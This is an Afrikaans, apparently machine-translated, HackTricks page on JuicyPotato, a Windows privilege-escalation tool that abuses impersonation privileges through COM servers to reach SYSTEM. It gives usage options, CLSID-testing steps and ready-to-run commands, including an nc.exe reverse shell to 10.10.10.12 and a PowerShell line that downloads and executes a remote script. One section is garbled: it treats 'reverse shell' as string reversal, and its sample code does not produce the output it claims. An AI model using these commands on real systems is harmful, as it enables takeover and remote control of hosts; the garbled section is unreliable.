11 KiB
JuicyPotato
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die SUBSCRIPTION PLANS!
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die hacktricks repo en hacktricks-cloud repo.
{% hint style="warning" %}
JuicyPotato werk nie op Windows Server 2019 en Windows 10-bou 1809 en later nie. Tog kan PrintSpoofer, RoguePotato, SharpEfsPotato gebruik word om dieselfde voorregte te benut en NT AUTHORITY\SYSTEM
-vlaktoegang te verkry. Kyk:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (misbruik van die goud-voorregte)
'n Gesuikerde weergawe van RottenPotatoNG, met 'n bietjie sap, d.w.s. 'n ander plaaslike voorregverhogingsinstrument, vanaf 'n Windows-diensrekening na NT AUTHORITY\SYSTEM
Jy kan juicypotato aflaai vanaf https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Opsomming
RottenPotatoNG en sy variant maak gebruik van die voorregverhogingsketting gebaseer op BITS
diens met die MiTM-luisteraar op 127.0.0.1:6666
en wanneer jy SeImpersonate
of SeAssignPrimaryToken
-voorregte het. Tydens 'n Windows-bouhersiening het ons 'n opset gevind waar BITS
opsetlik gedeaktiveer is en poort 6666
geneem is.
Ons het besluit om RottenPotatoNG te bewapen: Sê hallo vir Juicy Potato.
Vir die teorie, sien Rotten Potato - Voorregverhoging vanaf diensrekeninge na SYSTEM en volg die ketting van skakels en verwysings.
Ons het ontdek dat daar, behalwe BITS
, 'n paar COM-bedienerse is wat ons kan misbruik. Hulle moet net:
- installeerbaar wees deur die huidige gebruiker, normaalweg 'n "diensgebruiker" wat impersonasievoorregte het
- die
IMarshal
-koppelvlak implementeer - uitgevoer word as 'n verhoogde gebruiker (SYSTEM, Administrator, ...)
Na 'n paar toetse het ons 'n uitgebreide lys van interessante CLSID's op verskeie Windows-weergawes verkry en getoets.
Sappige besonderhede
JuicyPotato stel jou in staat om te:
- Teiken CLSID kies enige CLSID wat jy wil. Hier kan jy die lys vind wat georganiseer is volgens bedryfstelsel.
- COM-luisterpoort definieer die COM-luisterpoort wat jy verkies (in plaas van die gemarshalleerde hardgekodifiseerde 6666)
- COM-luister-IP-adres bind die bediener aan enige IP
- Proseskeuringsmodus afhangende van die impersonasievoorregte van die geïmpersonaliseerde gebruiker kan jy kies uit:
CreateProcessWithToken
(benodigSeImpersonate
)CreateProcessAsUser
(benodigSeAssignPrimaryToken
)beide
- Proses om te begin begin 'n uitvoerbare lêer of skripsie as die uitbuiting slaag
- Prosesargument pas die beginproses-argumente aan
- RPC-bedieneradres vir 'n sluipende benadering kan jy aanmeld by 'n eksterne RPC-bediener
- RPC-bedienerpoort nuttig as jy wil aanmeld by 'n eksterne bediener en die vuurmuur poort
135
blokkeer... - TOETS-modus hoofsaaklik vir toetsdoeleindes, d.w.s. toets CLSID's. Dit skep die DCOM en druk die gebruiker van token. Sien hier vir toetsing
Gebruik
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Finale gedagtes
As die gebruiker SeImpersonate
of SeAssignPrimaryToken
voorregte het, is jy SYSTEM.
Dit is byna onmoontlik om die misbruik van al hierdie COM-bediener te voorkom. Jy kan dalk dink om die toestemmings van hierdie voorwerpe te wysig deur middel van DCOMCNFG
, maar sterkte daarmee, dit gaan uitdagend wees.
Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die * SERVICE
rekeninge loop, te beskerm. Om DCOM
te stop sal beslis hierdie uitbuiting inhibeer, maar dit kan 'n ernstige impak hê op die onderliggende bedryfstelsel.
Van: http://ohpe.it/juicy-potato/
Voorbeelde
Let op: Besoek hierdie bladsy vir 'n lys van CLSIDs om te probeer.
Kry 'n nc.exe omgekeerde dopshell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell omgekeer
Die Powershell omgekeer (rev) is 'n nuttige tegniek wat gebruik kan word in 'n verskeidenheid van situasies. Dit behels die omkeer van 'n teksstring sodat die karakters in die string in omgekeerde volgorde verskyn.
Hier is 'n voorbeeld van hoe die Powershell omgekeer gebruik kan word:
$string = "Hello, world!"
$reversedString = $string.ToCharArray() -join "" -replace "(.)", '$1 '
$reversedString.TrimEnd()
In hierdie voorbeeld word die teksstring "Hello, world!" omgekeer deur dit in 'n tekenreeks van karakters te verdeel, die karakters in omgekeerde volgorde te sorteer en dan weer saam te voeg. Die uiteindelike omgekeerde teksstring is "dlrow ,olleH".
Die Powershell omgekeer kan nuttig wees vir verskeie doeleindes, soos die versteekte versleuteling van teks, die omkeer van URL's of die manipulasie van teksgebaseerde data. Dit is 'n handige tegniek om in jou gereedskapskas te hê as 'n professionele hacker.
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Begin 'n nuwe CMD (as jy RDP-toegang het)
CLSID Probleme
Dikwels werk die verstek CLSID wat JuicyPotato gebruik nie en misluk die uitbuiting. Gewoonlik neem dit verskeie pogings om 'n werkende CLSID te vind. Om 'n lys van CLSIDs te kry om te probeer vir 'n spesifieke bedryfstelsel, moet jy hierdie bladsy besoek:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Kontroleer CLSIDs
Eerstens sal jy 'n paar uitvoerbare lêers benodig, afgesien van juicypotato.exe.
Laai Join-Object.ps1 af en laai dit in jou PS-sessie, en laai GetCLSID.ps1 af en voer dit uit. Daardie skrip sal 'n lys moontlike CLSIDs skep om te toets.
Laai dan test_clsid.bat af (verander die pad na die CLSID-lys en na die juicypotato-uitvoerbare lêer) en voer dit uit. Dit sal begin om elke CLSID te probeer, en wanneer die poortnommer verander, beteken dit dat die CLSID gewerk het.
Kontroleer die werkende CLSIDs met die parameter -c
Verwysings
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die SUBSCRIPTION PLANS!
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Kry die amptelike PEASS & HackTricks-uitrusting
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou hacktruuks deur PRs in te dien by die hacktricks repo en hacktricks-cloud repo.